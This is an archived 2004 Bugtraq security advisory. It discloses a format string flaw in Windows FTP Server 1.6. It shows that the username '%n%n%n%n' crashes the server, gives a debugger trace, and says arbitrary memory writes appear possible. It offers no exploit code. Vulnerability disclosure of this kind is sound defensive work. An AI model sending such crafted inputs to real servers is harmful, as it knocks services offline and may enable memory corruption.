

Windows FTP Server Format String Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2004-01/0077.html>

From: Peter Winter-Smith (peter4020_at_hotmail.com)

Date: 01/08/04

To: vulnwatch@vulnwatch.org

Date: Thu, 08 Jan 2004 22:01:56 +0000

Windows FTP Server Format String Vulnerability

#####

Credit:

Author : Peter Winter-Smith

Software:

Packages : Windows FTP Server

Version : 1.6 and below

Vendor : HD Soft/Windows Ftp Server SOFTWARE

Vendor Url : <http://srv.nease.net/>

Vulnerability:

Bug Type : 'wscanf' Format String Vulnerability

Severity : Moderately/Highly Critical

+ Denial of Service

+ Arbitrary Memory Can Be Read/Written

1. Description of Software

"Are you wondering how to setup a FTP server ?

Companies small to large have their own web sites to distribute info, products, contact, description of their services, files...

When it comes to files such as software downloads, music, movies, documents the easiest and quickest way to distribute them to the people who need them is to use an FTP Server!

Maybe Windows FTP Server is the one for you ... why not try Windows Ftp Server Software for free and make your opinion ?"

– Vendor's Description

2. Bug Information

(a). 'wscanf' Format String Vulnerability

It seems that Windows FTP Server does not directly specify an input formatting type when receiving data from a remote client, this may

SecurityFocus Bugtraq: Windows FTP Server Format String Vulnerability

potentially allow certain arbitrary positions in memory to be read from and written to if an attacker is able to send a specially crafted request to the server.

A demonstration is as follows:

First I connect to the FTP server using the Windows built in FTP client. I specify my 'username' to be '%n%n%n%n', and the server immediately crashes.

```
-----  
Microsoft Windows XP [Version 5.1.2600]  
(C) Copyright 1985–2001 Microsoft Corp.
```

```
C:\WINDOWS\system32>ftp 127.0.0.1  
Connected to 127.0.0.1.  
220 Welcome to Windows FTP Server  
User (127.0.0.1:(none)): %n%n%n%n  
Connection closed by remote host.
```

```
C:\WINDOWS\system32>
```

Upon attaching a debugger to the application, you can immediately see where the problem lies:

```
-----  
0:004> g  
(a98.9b8): Access violation – code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000004 ebx=00000006 ecx=0000000c edx=009843bb esi=0140e864 edi=  
0098436e  
eip=77c3f665 esp=0140e61c ebp=0140e878 iopl=0  nv up ei pl zr na po  
nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000  efl=  
00010246  
*** ERROR: Symbol file could not be found. Defaulted to export symbols  
for C:\WINDOWS\system32\MSVCRT.dll –  
MSVCRT!wscanf+654:  
77c3f665 8908 mov [eax],ecx ds:0023:00000004=????????
```

We managed to cause the application to write to an address which it did not have access to. By varying the content of the command string supplied to the server it seems very possible to overwrite different arbitrary areas of memory with an arbitrary value. This may include saved return

SecurityFocus Bugtraq: Windows FTP Server Format String Vulnerability

addresses and information detailing user privileges, and so forth, making this flaw potentially very dangerous.

3. Proof of Concept Code

I did not dedicate much time to the construction of an exploit for this issue since the exploitation did not appear to be quite as straight forward as other format string bugs which I have worked with in the past, therefore no very exciting code is available at this point. To merely examine the flaw I recommend that you attempt the steps show in the previous section for yourself.

4. Patches – Workarounds

Currently no patches exist. The vendor has been notified.

5. Credits

The discovery, analysis and exploitation of this flaw is a result of research carried out by Peter Winter-Smith. I would ask that you do not regard any of the analysis to be 'set in stone', and that if investigating this flaw you back trace the steps detailed earlier for yourself.

Greets and thanks to:

David and Mark Litchfield, JJ Gray (Nexus), Todd and all the packetstorm crew, Luigi Auriemma, Bahaa Naamneh, sean(gilbert(perlboy)), pv8man, nick k., Joel J. and Martine.

o This document should be mirrored at:

– <http://www.elitehaven.net/winftpserver.txt>
